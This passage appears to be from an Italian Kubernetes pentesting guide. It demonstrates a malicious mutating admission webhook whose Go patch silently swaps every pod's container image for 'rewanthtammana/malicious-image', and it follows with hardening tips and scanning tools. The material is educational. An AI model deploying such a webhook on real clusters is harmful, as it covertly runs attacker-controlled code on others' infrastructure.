Controlla lo stato per vedere se è pronto:
```bash
kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo
```
![mutating-webhook-status-check.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433436353/yHUvUWugR.png?auto=compress,format&format=webp)

Quindi distribuisci un nuovo pod:
```bash
kubectl run nginx --image nginx
kubectl get po -w
```
Quando puoi vedere l'errore `ErrImagePull`, controlla il nome dell'immagine con una delle seguenti query:
```bash
kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "
```
![malicious-admission-controller.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433512073/leFXtgSzm.png?auto=compress,format&format=webp)

Come puoi vedere nell'immagine sopra, abbiamo provato a eseguire l'immagine `nginx`, ma l'immagine finale eseguita è `rewanthtammana/malicious-image`. Cosa è appena successo!!?

#### Tecnicalità

Lo script `./deploy.sh` stabilisce un controller di ammissione webhook mutante, che modifica le richieste all'API di Kubernetes come specificato nelle sue righe di configurazione, influenzando i risultati osservati:
```
patches = append(patches, patchOperation{
Op:    "replace",
Path:  "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})
```
Il frammento sopra sostituisce la prima immagine del container in ogni pod con `rewanthtammana/malicious-image`.

## Bypass di OPA Gatekeeper

{{#ref}}
../kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md
{{#endref}}

## Migliori Pratiche

### **Disabilitare l'Automount dei Token degli Account di Servizio**

- **Pods e Account di Servizio**: Per impostazione predefinita, i pod montano un token di account di servizio. Per migliorare la sicurezza, Kubernetes consente di disabilitare questa funzionalità di automount.
- **Come Applicare**: Imposta `automountServiceAccountToken: false` nella configurazione degli account di servizio o dei pod a partire dalla versione 1.6 di Kubernetes.

### **Assegnazione Utente Ristretto in RoleBindings/ClusterRoleBindings**

- **Inclusione Selettiva**: Assicurati che solo gli utenti necessari siano inclusi in RoleBindings o ClusterRoleBindings. Esegui audit regolari e rimuovi utenti irrilevanti per mantenere una sicurezza rigorosa.

### **Ruoli Specifici per Namespace rispetto ai Ruoli Cluster-Wide**

- **Ruoli vs. ClusterRoles**: Preferisci utilizzare Ruoli e RoleBindings per permessi specifici del namespace piuttosto che ClusterRoles e ClusterRoleBindings, che si applicano a livello di cluster. Questo approccio offre un controllo più fine e limita l'ambito dei permessi.

### **Utilizza strumenti automatizzati**

{{#ref}}
https://github.com/cyberark/KubiScan
{{#endref}}

{{#ref}}
https://github.com/aquasecurity/kube-hunter
{{#endref}}

{{#ref}}
https://github.com/aquasecurity/kube-bench
{{#endref}}

## **Riferimenti**

- [**https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions**](https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions)
- [**https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1**](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1)
- [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers)
- [**https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html**](https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html)
- [**https://kubenomicon.com/**](https://kubenomicon.com/)

{{#include ../../../banners/hacktricks-training.md}}
